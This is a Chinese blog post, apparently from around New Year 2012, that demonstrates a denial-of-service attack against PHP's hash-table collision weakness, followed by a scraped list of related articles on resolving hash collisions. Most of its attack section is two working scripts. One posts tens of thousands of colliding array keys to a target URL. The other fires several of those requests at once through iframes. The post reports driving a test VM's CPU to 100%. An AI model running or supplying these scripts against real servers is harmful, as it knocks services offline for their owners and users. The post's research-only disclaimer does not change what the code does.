通过PHP的hash冲突漏洞进行DDoS攻击

参考网站：http://blog.csdn.net/linvo/article/details/7169718

声明：本文内容只用于研究学习使用，请勿用于非法行为！

上回咱说到了最近爆出的hash表碰撞漏洞，包括java、python、php等在内的很多常用语言均未幸免，今晚咱就来实际看看它的威力。

攻击原理：

通过向目标服务器post一组精心拼凑的数组参数，到达服务端后语言底层处理接收到的数组参数时，由于该漏洞的存在造成CPU的大量消耗，最终导致服务器资源耗尽。

不用什么花哨的手法，就用PHP简单实现下看下效果，点到即止。

文件：dos.php

    // 目标地址  // 只要目标地址存在，不用管它是干嘛的  $host = 'http://127.0.0.1/test.php';   $data = '';  $size = pow(2, 15);  for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)  {  $data .= '&array[' . $key . ']=0';  }  $ret = curl($host, ltrim($data,'&'));  var_dump($ret);  function curl($url, $post, $timeout = 30){  $ch = curl_init();  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));    curl_setopt($ch, CURLOPT_URL, $url);  curl_setopt($ch, CURLOPT_POST, true);  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);  $output = curl_exec($ch);  if ($output === false) return false;  $info = curl_getinfo($ch);  $http_code = $info['http_code'];  if ($http_code == 404) return false;  curl_close($ch);  return $output;  }

文件：ddos.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml">  <head>  <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />  <title>DDOS</title>  </head>  <body>  <?php  for($i=0; $i<5; $i++){//并发数  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';  }  ?>  </body>  </html>

虽然我的测试目标服务器是台虚拟机，但仅用了2个并发就使目标机CPU飙到了100%。但是100%的CPU占用并不代表着就已经拒绝服务，点到为止:)

----------------------------------------------- 华丽丽的分割线 ----------------------------------------------------------

就在写这篇的时候，时间已步入2012，祝大家新年快乐，笑口常开:D

通过PHP的hash冲突漏洞进行DDoS攻击相关推荐

解决hash冲突的常用方法
解决hash冲突的常用方法参考文章: (1)解决hash冲突的常用方法 (2)https://www.cnblogs.com/fxtx/p/11588581.html (3)https://www. ...
HashMap解决hash冲突的方法
HashMap解决hash冲突的方法博客分类: jvm虚拟机在Java编程语言中,最基本的结构就是两种,一种是数组,一种是模拟指针(引用),所有的数据结构都可以用这两个基本结构构造,HashMap ...
hashMap怎么解决hash冲突的
2019独角兽企业重金招聘Python工程师标准>>> 学Java的都知道hashMap的底层是"链表散列"的数据结构也也可以说是hash表.在put的实话先根据 ...
Algorithm：C++语言实现之SimHash和倒排索引算法相关(抽屉原理、倒排索、建立查找树、处理Hash冲突、Hash查找)
Algorithm:C++语言实现之SimHash和倒排索引算法相关(抽屉原理.倒排索.建立查找树.处理Hash冲突.Hash查找) 目录一.SimHash算法 1.SimHash算法五个步骤 2. ...
HashMap的hash冲突解决方案
Hash函数非哈希表的特点:关键字在表中的位置和它之间不存在一个确定的关系,查找的过程为给定值一次和各个关键字进行比较,查找的效率取决于和给定值进行比较的次数. 哈希表的特点:关键字在表中位置和它之 ...
hash hashcode变化_没想到 Hash 冲突还能这么玩，你的服务中招了吗？
图 by: 石头背景其实这个问题我之前也看到过,刚好在前几天,洪教授在某个群里分享的一个<一些有意思的攻击手段.pdf>,我觉得这个话题应该还是有不少人不清楚的,今天我就准备来&quo ...
hash冲突解决和javahash冲突解决
其实就是四种方法的演变 1.开放定址法具体就是把数据的标志等的对长度取模有三种不同的取模线性探测再散列给数据的标志加增量,取模平方探测再散列给数据的标志平方,取模随机探测再散列把数据的 ...
Hash冲突处理终极版
对于Hash,我们是怎样来处理冲突的.现在就来介绍一些经典的Hash冲突处理的方法.主要包括 (1)开放地址法 (2)拉链法 (3)再哈希法 (4)建立公共溢出区 (1)开放地址法基本思想: ...
Hash冲突的解决--暴雪的Hash算法
Hash冲突的解决--暴雪的Hash算法 https://usench.iteye.com/blog/2199399 https://www.bbsmax.com/A/kPzOO7a8zx/ 转载于: ...

通过PHP的hash冲突漏洞进行DDoS攻击

通过PHP的hash冲突漏洞进行DDoS攻击相关推荐

最新文章

热门文章